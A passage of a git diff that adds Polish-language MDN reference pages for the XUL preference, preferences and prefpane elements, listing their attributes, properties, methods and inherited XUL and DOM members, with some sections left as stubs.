+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Nazwa <code><a href="/pl/docs/Mozilla/Tech/XUL/preference" title="preference">preference</a></code> do zmiany. Na przykład, strona startowa przeglądarki jest ustawiona z preferencją <code>browser.startup.homepage</code>.</dd>
+</dl></div>
+<div id="p-preference.preferences">
+<dl>
+ <dt>
+ <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/preference.preferences">preferences</a></dt>
+ <dd>
+ Typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ Odwołanie się do elementu zawierającego <code><a href="/pl/docs/Mozilla/Tech/XUL/preferences" title="preferences">preferences</a></code>.</dd>
+</dl></div>
+<div id="p-readonly">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/readonly">readonly</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Jeśli jest ustawiony na <code>true</code>, to użytkownik nie może zmieniać wartości elementu. Jest to odpowiednia własności do użytku <code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code> zamiast własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/readonly">readonly</a></span></code>.</dd>
+</dl></div>
+<div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div>
+<div id="p-type">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/type">type</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code>.</dd>
+</dl>
+
+<p> </p></div>
+<div id="p-value">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><dl>
+ <dt>
+ <span id="m-hasUserValue"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/hasUserValue">hasUserValue()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Zwraca <code>true</code>, jeśli preferencje zostały zmienione z domyślnej wartości.</dd>
+</dl>
+<dl>
+ <dt>
+ <span id="m-reset"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/reset">reset()</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Przywraca preferencje do domyślnej wartości.</dd>
+ <dd>
+ Dla elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code> jest także wykorzystane do czyszczenia list transakcji (Gecko1.9).</dd>
+</dl>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/preferences/index.html b/files/pl/mozilla/tech/xul/preferences/index.html
new file mode 100644
index 0000000000..960273ae60
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/preferences/index.html
@@ -0,0 +1,96 @@
+---
+title: preferences
+slug: Mozilla/Tech/XUL/preferences
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/preferences
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Stosuje się go do utrzymania ustawień elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/preference" title="preference">preference</a></code>.
+</p><p>Dodatkowe informacje są dostępne w artykule <a href="pl/System_preferencji">System preferencji</a>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/prefpane/index.html b/files/pl/mozilla/tech/xul/prefpane/index.html
new file mode 100644
index 0000000000..47984f3b33
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/prefpane/index.html
@@ -0,0 +1,183 @@
+---
+title: prefpane
+slug: Mozilla/Tech/XUL/prefpane
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/prefpane
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Pojedynczy panel preferencji w <code><a href="/pl/docs/Mozilla/Tech/XUL/prefwindow" title="prefwindow">prefwindow</a></code>. Element <code>prefpane</code> stworzony jest z dwóch części. Pierwsza to opisy preferencji, które podają listę preferencji, które zostaną zmienione. Druga zawiera interfejs użytkownika służący do zmiany tych ustawień. Pierwsza część jest określana za pomocą elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/preferences" title="preferences">preferences</a></code>, a druga może składać się z innych elementów XUL.
+</p><p>Obydwie mogą być bezpośrednio dziećmi elementu <code>prefpane</code>, lub atrybut <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code> może służyć do przechowywania panelu w zewnętrznym pliku. W drugim przypadku, zewnętrzny plik powinien stosować znacznik <code><a href="/pl/docs/Mozilla/Tech/XUL/overlay" title="overlay">overlay</a></code> jako głównego znacznika, jako że zostanie on załadowany jako nakładka na główne okno właściwości.
+</p><p>Dodatkowe informacje są dostępne w artykule <a href="pl/System_preferencji">System preferencji</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-helpURI">helpURI</a>, <a href="#a-image">image</a>, <a href="#a-label">label</a>, <a href="#a-onpanelload">onpanelload</a>, <a href="#a-prefpane.selected">selected</a>, <a href="#a-prefpane.src">src</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-image">image</a>, <a href="#p-label">label</a>, <a href="#p-preferenceElements">preferenceElements</a>, <a href="#p-preferences">preferences</a>, <a href="#p-selected">selected</a>, <a href="#p-src">src</a>
+</dd></dl>
+<dl><dt> Metody
+</dt><dd> <a href="#m-preferenceForElement">preferenceForElement</a> </dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-helpURI">
+
+<dl>
+ <dt>
+ <code id="a-helpURI"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/helpURI">helpURI</a></code></dt>
+ <dd>
+ Typ: <i>uri</i></dd>
+ <dd>
+ URI strony pomocy połączona z panelem preferencji. URI będzie otwarty przy zastosowaniu przeglądarki pomocy, kiedy zostanie naciśnięty przycisk pomocy.</dd>
+</dl>
+</div>
+<div id="a-image">
+
+<dl><dt> <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>
+</dt><dd> Typ: <i>adres URL obrazka</i>
+</dd><dd> Adres URL obrazka do wyświetlenia na elemencie. Jeśli ten atrybut zostanie opuszczony, to żaden obrazek nie zostanie wyświetlony. Pozycja obrazka jest określona przez atrybuty <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code> i <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>.
+</dd></dl>
+
+
+</div>
+<div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-onpanelload">
+
+<dl>
+ <dt>
+ <code id="a-onpaneload"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpaneload">onpaneload</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kod skryptu</i>
+ </dd>
+ <dd>
+ Zdefiniowany tutaj kod jest wywołany kiedy okno będzie wczytane, bardzo podobnym zdarzeniem dla okna jest <code>load</code>.</dd>
+</dl>
+</div>
+<div id="a-prefpane.selected">
+
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/prefpane.selected">selected</a></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ten atrybut będzie ustawiony na <code>true</code> dla aktualnie zaznaczonego <code><a href="/pl/docs/Mozilla/Tech/XUL/prefpane" title="prefpane">prefpane</a></code>. Do zmiany okna zastosuj metodę <span id="m-showPane"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/showPane">showPane</a></code></span> w elemntach <code><a href="/pl/docs/Mozilla/Tech/XUL/prefwindow" title="prefwindow">prefwindow</a></code>.</dd>
+</dl>
+
+<p> </p>
+</div>
+<div id="a-prefpane.src">
+
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/prefpane.src">src</a></dt>
+ <dd>
+ Typ: <i>adres URL nakładki</i></dd>
+ <dd>
+ Adres URL zawartości okna preferencji. Jeśli nie jest określono, zawartość elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/prefpane" title="prefpane">prefpane</a></code> jest stosowana.</dd>
+</dl>
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-image">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/image">image</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ adres URL obrazka</i>
